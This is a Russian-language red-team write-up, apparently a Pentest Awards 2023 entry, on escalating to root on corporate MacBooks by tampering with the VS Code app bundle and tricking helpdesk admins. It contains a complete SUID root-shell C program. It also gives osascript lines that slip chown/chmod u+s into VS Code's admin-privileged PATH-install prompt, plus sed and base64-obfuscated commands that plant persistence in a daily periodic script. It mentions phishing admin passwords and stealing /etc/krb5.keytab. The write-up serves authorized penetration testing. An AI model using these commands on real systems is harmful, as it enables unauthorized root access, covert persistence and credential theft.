Abuse VS Code Installation for LPE on macOS [Pentest Awards 2023]
Когда тебе нужно заскамить сотрудников техподдержки на угон их кред и привилегий в macOS (естественно, действуя в рамках контракта о пентесте), можно смело предлагать завершить установку легитимного ПО, которое ты предварительно кастомизировал. Для примера разберем, как это сделать с любимым всеми Visual Studio Code.
Этот способ мы применили по заказу одного очень крупного российского холдинга в ходе комплексной операции Red Team. Заказчик настоял на реализации следующего сценария: нас «устраивают» в компанию по согласованной легенде как внешних сотрудников на удаленке с выданным MacBook в качестве рабочего ноута.
Так как привилегии обычных сотрудников на маках в организации сильно урезаны, обращения к техподдержке по большей части состоят из писем вроде «админ, помоги мне установить программу». Из этого родилась идея воспользоваться этой особенностью рабочего процесса для повышения привилегий на маке до рута и заполучить служебную учетку из /etc/krb5.keytab
для развития дальнейших атак на AD.
WARNING
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор не несет ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Спуфинг диалогового окна аутентификации
В паблике есть мануал по написанию вредоносного расширения, которое умеет само стартовать при запуске VS Code и светить назойливым окном в глаза ненавистному админу, клянча его пароль.
Достоинство этого метода в том, что можно получить креды привилегированной учетки в открытом виде. Расширение пишется в пользовательскую директорию ~/.vscode
, поэтому даже если у админа стоит чистый VS Code, запуск модульного окна сохранится.
Недостаток в том, что надо поймать очень уставшего админа, чтобы предприятие взлетело — диалоговое окно рисуется с помощью AppleScript, поэтому выглядит весьма халтурно и серьезно отличается от встроенных окон запроса расширенных привилегий. В связи с этим мы решили найти другой способ абьюзить VS Code.
Модификация дистрибутива VS Code
Несмотря на то, что VS Code можно запускать с привилегиями пользователя, внутри есть дополнительные функции, которые требуют прав администратора. Например, интеграция команды code
в консоль (для этого вносятся изменения в системный PATH
). В VS Code это делается командой из Command Palette (Command-Shift-P).
Хотя разработчики Code настоятельно не рекомендуют изменять встроенные системные команды, хакеры любят жить опасно, поэтому способ есть.
Грепнув каталог с VS Code по строке command in PATH
, найдем отсылку к JS-функции installCommandLine
:
$ pwd
/Applications/Visual Studio Code.app
$ grep -r 'command in PATH'
./Contents/Resources/app/out/vs/workbench/workbench.desktop.main.js:... class S extends I.Action2{constructor() {super({id:"workbench.action.installCommandLine",title:{value:(0,t.localize)(1,null,L.default.applicationName),original:`Install '${L.default.applicationName}' command in PATH`} ...
Далее, грепнув по installCommandLine
, найдем само тело исполняемой команды.
$ grep -r 'installShellCommand'
./Contents/Resources/app/out/vs/code/electron-main/main.js:... async installShellCommand(T){const{source:U,target:H}=await this.n();try{const{symbolicLink:re}=await p.SymlinkSupport.stat(U);if(re&&!re.dangling){const Y=await(0,u.realpath) (U);if(H===Y)return}await p.Promises.unlink(U)}catch(re){if(re.code!=="ENOENT")throw re}try{await p.Promises.symlink(H,U)}catch(re) {if(re.code!=="EACCES"&&re.code!=="ENOENT")throw re;const{response:Y}=await this.showMessageBox(T,{type:"info",message:(0,y.localize) (0,null,this.h.nameShort),buttons:[(0,y.localize)(1,null),(0,y.localize)(2,null)]});if(Y===0)try{const ne=`osascript -e "do shell script \\"mkdir -p /usr/local/bin && ln -sf '${H}' '${U}'\\" with administrator privileges"`;await(0,O.promisify)(E.exec) (ne)}catch{throw new Error((0,y.localize)(3,null,U))}}} ...
Как видишь, ничто не мешает нам добавить собственное действие к команде osascript
, но надо придумать, что именно мы можем сделать для сохранения и последующего восстановления привилегированного доступа.
osascript -e "do shell script \\"mkdir -p /usr/local/bin && ln -sf '${H}' '${U}'\\" with administrator privileges"
Курс Offensive Security «EXP-312: Advanced macOS Control Bypasses» предлагает изменить настройки PAM-модуля (а именно перечня обязательных критериев при аутентификации через sudo), чтобы имперсонировать root без пароля. Это делается с помощью изменения файла настроек /etc/pam.d/sudo
.
К сожалению, этот способ не взлетел в macOS 13.2.1, поскольку теперь недостаточно быть рутом, чтобы менять содержимое чувствительных файлов на диске (все, что связано с кредами и аутентификацией). Для этого у процесса, который запрашивает такие изменения, должна быть привилегия Full Disk Access, которая навешивается только через GUI.
Мы решили пойти дедовским способом и создать SUID-бинарь (благо хоть это на маке работает):
// gcc -o suidshell suidshell.c
// ./suidshell root
#include <stdlib.h>
#include <sys/types.h>
#include <pwd.h>
#include <unistd.h>
void change_to_user(const char *szUserName)
{
struct passwd *pw;
pw = getpwnam(szUserName);
if (pw != NULL)
{
uid_t uid = pw->pw_uid;
if (setuid(uid) == 0) system("/bin/bash -p");
}
}
int main(int argc, char **argv)
{
if (argc == 1) return 1;
for (int i = 1; i < argc; i++) change_to_user(argv[i]);
return 0;
}
Теперь можно добавить веселые команды к куску кода, нагрепанному выше, чтобы навесить нужного владельца и SUID-бит на шелл:
osascript -e "do shell script \\"chown root:wheel /tmp/suidshell && chmod u+s /tmp/suidshell && mkdir -p /usr/local/bin && ln -sf '${H}' '${U}'\\" with administrator privileges"
Еще немного покопавшись, мы открыли другую интересную возможность — вместо того, чтобы класть SUID-бинарь на диск непосредственно перед фишингом, можно добавить команды выше к задаче /etc/periodic/daily/110.clean-tmps
, которая выполняется ежедневно:
sed -i '' -e 's/exit \$rc/chown root:wheel \/tmp\/\suidshell \&\& chmod u+s \/tmp\/\suidshell\nexit \$rc/' /etc/periodic/daily/110.clean-tmps
osascript -e "do shell script \\" echo
c2VkIC1pICcnIC1lICdzL2V4aXQgXCRyYy9jaG93biByb290OndoZWVsIFwvdG1wXC9cc3VpZHNoZWxsIFwmXCYgY2htb2QgdStzIFwvdG1wXC9cc3VpZHNoZWxsXG5leGl0IF wkcmMvJyAvZXRjL3BlcmlvZGljL2RhaWx5LzExMC5jbGVhbi10bXBz | base64 -d | sh && mkdir -p /usr/local/bin && ln -sf '${H}' '${U}'\\" with administrator privileges"
Так можно дифференцировать ход LPE: сначала отредактировать запускаемую по расписанию задачу, а потом принести SUID-шелл и дожидаться его повышения.
До выполнения скам-команды
Выполнение скам-команды
После выполнения скам-команды
В результате получаем нативное диалоговое окно для запроса повышения привилегий. Пожалуй, это перевешивает все недостатки. Какие? Увы, так нельзя утащить пароль админа в виде текста, к тому же нужно класть на диск дополнительный бинарь, что может вызвать срабатывание мониторинга, если он используется. И, конечно, если админ притащит свой экземпляр VS Code, жмем F to pay respects.
Вывод
Прикинувшись беспомощным юзером, полностью находящимся во власти всемогущего админа (то есть сотрудника техподдержки), можно чужими руками «бесплатно» повысить себе локальные привилегии на макбуке и потенциально разжиться дополнительными доступами. GGWP!